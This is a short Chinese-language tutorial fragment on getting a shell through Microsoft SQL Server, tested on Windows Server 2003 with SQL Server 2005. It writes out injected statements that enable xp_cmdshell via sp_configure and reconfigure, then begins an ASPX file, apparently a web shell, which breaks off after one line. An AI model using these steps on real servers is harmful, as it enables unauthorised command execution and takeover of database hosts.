mssql基础(二)——get shell的的方式

测试环境windows-server-2003+sql sever2005

1.利用存储过程拿shell

允许修改高级参数：;exec sp_configure'show advanced options',1;

根据提示使用reconfigure语句进行安装

打开xp_cmdshell扩展：exec sp_configure'xp_cmdshell',1;

再次执行reconfigure语句

xp_cmdshell拿shell

test.aspx内容如下：

    <%@ Page Language="C#" AutoEventWir